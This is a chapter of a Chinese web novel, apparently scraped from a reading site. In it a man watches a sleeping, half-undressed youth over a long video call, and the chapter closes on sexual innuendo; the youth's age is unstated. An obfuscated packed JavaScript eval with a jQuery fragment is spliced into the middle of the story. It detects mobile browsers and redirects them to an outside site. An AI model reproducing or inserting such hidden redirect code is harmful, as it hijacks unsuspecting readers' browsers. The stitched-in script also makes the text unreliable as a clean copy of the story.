23.腰间掐出的斑驳红印
作品:《小可怜女装网恋实录》 游司梵并不知道自己看起来有多糟糕。
司子天硬逼着他穿的长裙质量欠佳,商家约莫是为了穿着效果,严重牺牲布料舒适度,所有贴身接触肌肤的部分,比粗呢还要毛糙。
而游司梵上身,又只能穿分体式鱼尾裙的上半阙。
少年娇嫩的皮肤与布料亲密无间,早就被磨得嫣红,那些不过是寻常的表肤而已,却如同一块吹弹可破的豆腐,但凡再同劣质布料多蹭几下……
怕是会破裂受伤,渗出淋漓的血丝和水痕。
游司梵赌气似的抱紧薄被,不着寸缕的肩头透出浅粉色,发尾凌乱,在半遮半掩的锁骨里凑成一团。
在睡梦的间隙,本该系于他颈后的黑色束带不翼而飞,连同束带相接的菱形布料一起消失。
半夜时他循着本能,豪情万丈,把小猫衬衫一把撕开。
之后更是直接,干脆将上半阙裙衣丢至床底,任由它们皱皱巴巴,做一对难兄难弟。
扫平困难,完事。
大功告成的游司梵兀自扯来被子,团吧团吧就搂进怀里,肌肤触及熟悉的舒适与柔软,霎那放松下来。
他才不要那些难穿的料子呢!
游司梵唇角弯起,好像在梦中想起什么开心的事,微笑的弧度模糊而甜蜜,却浑然不觉上半身变故横生。
一场完全由他自身主导的变故。
游司梵解放被束缚的自己,同时也失去可以蔽体的衣物。
简单来说,此时此刻,他无瑕白皙的上半身——
除去薄被虚虚遮掩的重点部位,真正达成“自由”。
真金白银,如假包换。
待闻濯有空扫一眼视频界面,一切都晚了。
错误的开头早已铸造,无法挽回。
先前游司梵镜头只集中于脸颊,闻濯只当他在寻常睡觉,根本没考虑镜头之外的着装。
少年的气息又一直不大稳定,时急时慢,短促又缠绵,像在借梦话的机会贴着闻濯撒娇。
很乖,很粘人,情绪价值非常到位,是完美的ASMR和白噪音。
一下一下,慢慢抚平闻濯莫名涌动的燥热。
闻濯心平气和。
失眠带来的那丝不快烟消云散,在这种称得上温馨的氛围里,他注意力高度集中,一心投入全速运作的工作项目。
而这完满的一切,在他端起那杯变冷的白水后,骤然结束。
那方长方形的手机屏幕尺寸适中,单独看还好,而在四个宽而薄的电脑显示器下,就不那么惹眼。
尤其当画面内容看似空无一物,仅仅是白茫茫一片时。
闻濯腰背挺拔,伏案工作的姿态仍然与往常一般,好似清俊华贵的竹,无可挑剔。
他浅浅抿一口水,无色无味的白水漫上一瞬又离开,略微沾湿他薄红的唇珠,唯独留下透亮潋滟的水光。
闻濯敲击键盘的右手并未停下,充斥专业术语的文献飞快滚动,而他眼睫不经意垂敛的刹那,却在密密麻麻的文字间,正好对上毫无存在感的视频通话画面。
叮铛。
瓷杯被轻轻放下。
减低些许的水面一晃,险而又险地荡过圆润的杯沿,差点溢出。
但闻濯没多余的思绪去关注琐碎细节,他所有心思,已然被视频聊天全摄走了。
——游司梵睡意酣然的面庞消失不见,取而代之的,是一片不知自何时起出现的肌肤。
柔韧舒展的肌肤,具体部位不明,没有任何有可供明确定位的器官。
就是一片随处可见的表肤罢了,也许是脸颊,也许是手腕。
但它白得耀眼,是极少曝露阳光的苍白,闻濯几乎可以看见其下青蓝色的静脉。
这片白皙的原野随主人呼吸的频率静静起伏,舒张,落下,生命力又完成一次周而复始的循环。
细密而浅色的绒毛渡上一层柔光,勾勒它的边界与曲线。
它无言地舒展,仿佛在大胆邀请闻濯的触碰。
是腰?脖颈?锁骨?还是大腿?
闻濯不知道。
他竭力压制在一瞬内迅速燃起的欲念,眸色暗沉若深海,抬手伸向不合时宜的视频通话。
于情于理,他只知道自己不应该,也不能做窥视这种不光彩的事情。
[视频通话时长:11:06:48,11:06:49,11:06:50……]
在时间跃向下一分钟的前刻,闻濯神情冷冽,薄唇抿成一条线,从侧面看去,与笔直挺拔的鼻梁连成雕塑般的弧度,锋利俊美,而不近人情。
他指尖点上“结束”的红色按钮。
嘎吱——!
那片原先安静起伏的肌肤蓦然一动,似乎是游司梵稍稍侧身,在床垫挪动一二。
少年还不知晓,他的肌肤离镜头越发接近。
“唔嗯……哥哥?”
迷茫的低喃,依旧是梦呓似的混沌与含糊。
闻濯无奈停下动作,心软了。
“嗯。”
他没办法不回答游司梵,哪怕对方只是道出一句普普通通的,没有指向性的梦话。
闻濯不想再做少年口中的坏东西。
“宝宝,你先睡。”他试图和一个挣扎在梦境里的人解释,声音低哑,燥热的直白疯狂涌上,几乎无法掩盖,“我先断……”
“唔!不许……不行!”
但游司梵率先打断他,大腿一跨,狠狠翻身。
他动作幅度极大,画面内的白皙接连不断,近乎变作一整片连绵的莹润苍白。
“我还没有、没有吃到糖……不可以走……”
游司梵是否真正吃上那颗不存在的糖,闻濯无从得知。
但他终于得以观见那方雪肤的根源。
不过一错眼,一粒圆润可爱的肚脐一闪而过,又被游司梵吝啬地掩盖。
但已经完全足够。
它就如定论的锚点,直截了当,给予闻濯一个明明白白的答案。
腰腹。那是游司梵的腰腹。
他在游司梵无知无觉之时,看了人家的腰那么久。
[视频通话时长:11:07:39,11:07:40,11:07:41……]
起码超过30秒。闻濯冷静分析。
……不过视觉效果这么软的腰部,指尖如果碰上去,又会是什么感觉?
仿佛感应一般,游司梵的手动了。
他挡于肚脐之上的掌心移开,像是再难忍耐表肤的酥麻,狠力掐了掐自己腰腹。
不似解痒,更似一种别样的发泄。
用些微的疼痛,分散愈发聚集的燥意。
不过几秒,那块被游司梵用力对待的皮肉迅速变红,大片大片的红印漫延开来,宛若一朵朵娇艳欲滴的玫瑰,在少年的指间怦然绽放。
咚,咚咚!
闻濯呼吸变得急促。
他听见自己心如擂鼓,浑身上下的血液刹那沸腾,一点源自视频画面的火星子,隔空而来,轻盈又飘忽,却又一次撩燃他苦苦压制的疯狂与燥热。
结束视频的权力分明在他一念之间,没有任何外在因素能够阻挡他。
但睡袍似乎也变作繁复沉重的累赘,那条流云纹束带如同勒上他的手腕,想摁下“结束”的指尖动弹不得。
闻濯心知肚明。
是他甘愿,是他清醒地走向沦陷。
他不过是对方可以随意玩弄的棋子而已。
然而这场由游司梵开启的戏剧,远远未至落幕时分。
他并拢大腿,微微屈向胸前,如同游戏一般,在幼嫩的腰腹部位绘下斑斓的红痕,像是完全感受不到痛觉。
闻濯呼吸一顿。
他看见一小块深紫色的淤青,极其碍眼地横在游司梵右膝盖。
它比红印更惹眼,犹如白玉破损的瑕疵,突兀,难看,伶仃地出现于那块本应完美的肌肤,却不令人生厌。
昨夜……没上药吗?
“宝宝,醒一醒。”闻濯瞳色晦暗,语气辩不出喜怒,“家里常备药用完了?”
游司梵没醒,还在坚持不懈地掐自己,肚脐周围已经红得不能看了。
闻濯神情未变,再次唤道:“宝宝。”
游司梵兴许听见些许含糊的呼唤,却不乐意地停下动作,像一只红通通的小虾米,又把自己蜷起来。
他怀中是淡素色系的夏被,而他的肤色非但没有逊色,反倒衬得更白。
大半躯体藏在被子的保护里,游司梵的肩头和臂膀却直愣愣地袒露,在夏日清晨闷热的空气里,现出纤长而明显的经络痕迹。
他在用力怀抱夏被,半埋进被子的脸颊气鼓鼓的。
好像生怕闻濯把他的宝贝突然抢走,又好像在隐忍什么呼之欲出的冲动。
但游司梵不知道自己才是猎人意动的对象,和那方夏被毫无关系。
腰上的红印,膝盖的淤青,游司梵如同被囚禁于视频里的小兽,虚弱,可怜,备受凌虐,却仍然信任那个最初诱他入局的猎人。
甚至还在对方的注视下深眠。
闻濯喉间唤出一声低低的叹息。
还能怎么办呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928917|130940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他收回僵持已久的指尖,没有再尝试挂断视频,镇定地凝望游司梵潮红的颧骨。
不久前,随着少年的臂膀动作,镜头范围再次改变。
画面颠簸几下,绚烂的色彩幻梦般闪耀,苍白的表肤,嫣红的唇,那些无规律的红印,略显稚气的猫咪床单与枕套。
像一瓶小时候常喝的玻璃汽水,哔啵一下轻响,铁质瓶盖应声而落,瓶壁冷凝水珠的攀爬崎岖又朦胧。
与如今的游司梵一模一样。
潮湿的汗渍,被黏作一缕缕的鬓发,灼热难耐的气息,闻濯隔着无数0与1组成的比特流,好似也触碰到少年湿漉漉的魂灵。
游司梵的手机无意往上移动十几厘米,成功从肚腹推至锁骨。
虽然自下而上的视角让他的身躯无处遁形,镜头移动更是全数转播那些隐秘的细节,但至少闻濯重新拥有不冒犯,或者说,不那么冒犯的视觉落点。
先这样吧。闻濯想。
游司梵颧骨也有乱七八糟的痕迹,不过与他自己掐的不同,脸上那些明显是被褥的压印。
像猫咪乱糟糟翘起的胡子。
一只Q版黑猫在闻濯脑海蹦出来,深蓝色的眼睛又大又圆,娇娇地“喵呜”一声。
闻濯唇角露出微不可见的笑意。
他右手抚向空置已久的鼠标,愉悦地点开论文修改稿,黑灰色的铅字霎时充满大屏。
不挂视频也行,把手机像之前一样放在一边当白噪音,我继续工作,不看就好……
“……哥哥!”
是游司梵在唤他,语调竟有些慌张。
闻濯挑眉,快速浏览那些晦涩难懂的专业术语,不轻不重地回应:“嗯?”
他当那又是一句梦境的呢喃,并没有多上心。
但他失策了。
闻濯矜持地等来等去,耐下心润色完一段稍有欠缺的文段,也没等来游司梵黏黏糊糊的后文。
没有羞恼的拒绝,没有颐气指使的命令。
好像凭空消失一般。
再好的计划也会被打断,何况是临时应急的措施。
闻濯继而捺下躁动不安的欲念,确保它好好地隐藏于睡袍之下,才又一次将视线投向视频画面。
镜头中的青年眉目深邃,瞳心倒映论文艰涩的字词,幽微的白蓝光打在鼻骨侧面,照射出山峦起伏般的轮廓。
自持又英俊,冷清又性感。
但他所有勉力维持的镇定,在看清游司梵的一瞬全然破碎。
闻濯直接对上一双水雾朦胧的杏眼。
杏眼的主人显然刚自重重梦境中醒来,雾蒙蒙的,眼尾湿漉漉,不知是生理性的泪水,还是被梦境激出来的委屈。
游司梵很懵。
和那间“闻濯”为他精心准备的温馨小屋不同,眼前的卧室狭窄闷热,老旧的窗户只支开一条小缝通风,却无济于事,那股怪异而突兀的腥甜依然弥漫整个房间,渗透进游司梵每个毛孔。
像幽暗的鬼魂,缠绕他沉重的四肢。
游司梵鼻头一酸,头颅往后仰:“哈——哈嚏!”
他条件反射地闭紧双眼,逃避似的搂紧薄被,眼尾飞起的红晕更红几分。
“司梵,你怎么样,还好吗?”
枕旁的手机扬声器传来询问,男音低哑沉稳,语调比那个强硬摁着他在岛台舌吻的坏东西,这个闻濯的声音还要沉一些。
想起这事游司梵就生气。
他自以为隐秘地瞅屏幕一眼,却正正撞上一双暗含关切的眼瞳。
“没事吧。”闻濯还在问他。
青年睡袍的深V开的很大,三分之二的胸肌现于镜头前,饱满又结实,很是冲击了一番游司梵的视觉。
他很慢很慢地眨眼,在闻濯明晃晃的冷白胸肌前流连,从左到右,又从右到左,如此往复数次,片刻后才若无其事地挪开视线。
“衣领开的不够大,哥哥。”
他慢吞吞地点评道,准备开始翻旧账。
完全遗忘闻濯的初衷是询问他的身体,而并非让他品鉴男色的好看程度。
“而且哥哥……你刚才把糖浆倒在我小腿和脚踝上,我都不和你计较了,但你怎么可以得寸进尺呢?”
闻濯脸色骤变,在听见“糖浆”二字的刹那,他的喉结幅度明显地上下滚动。
仿若一个喻示风雨将至的讯号。
而游司梵没有看见,还在迷迷糊糊,委屈地质问。
“为什么现在我的大腿也湿黏黏的?还有床单,枕套……”
“它们,怎么都湿透了?”